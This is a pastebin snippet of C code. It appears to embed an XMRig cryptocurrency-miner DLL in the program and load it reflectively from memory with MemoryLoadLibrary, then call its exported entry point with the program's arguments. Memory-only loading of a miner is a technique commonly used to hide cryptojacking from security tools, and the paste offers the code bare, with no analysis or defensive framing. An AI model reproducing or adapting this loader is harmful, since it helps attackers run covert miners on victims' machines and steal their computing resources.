Untitled

mail@pastecode.io avatar
unknown
plain_text
3 years ago
826 B
0
Indexable
Never

extern char __binary_xmrig_dll_start;
extern char __binary_xmrig_dll_end;
extern char __binary_xmrig_dll_size;

typedef int(WINAPI * XMProc)(int, char**);
#include <stdio.h>
#include <windows.h>

int main(int argc, char **argv)
{
	
	char*  p = &__binary_xmrig_dll_start;
	char *pp = &__binary_xmrig_dll_start;
	
	int l = 0;
	
	HMEMORYMODULE memModule = MemoryLoadLibrary(p, ((INT_PTR)&__binary_xmrig_dll_end)-((INT_PTR)&__binary_xmrig_dll_start));
	
	FARPROC xf = (XMProc)MemoryGetProcAddress(memModule, "some");
	
	//FARPROC xf = (XMProc)MemoryDefaultGetProcAddress(memModule, "some", cmd);
	if(memModule == NULL)
	{ 
		
		printf("error %d", GetLastError());
		
	}
	if(xf == NULL)
	{
		printf("error %d", GetLastError());
	}else{
		
		printf("loaded\n");

	}
	
	(xf)(argc, argv);
	
	//return 0;
	//MemoryGetProcAddress();
}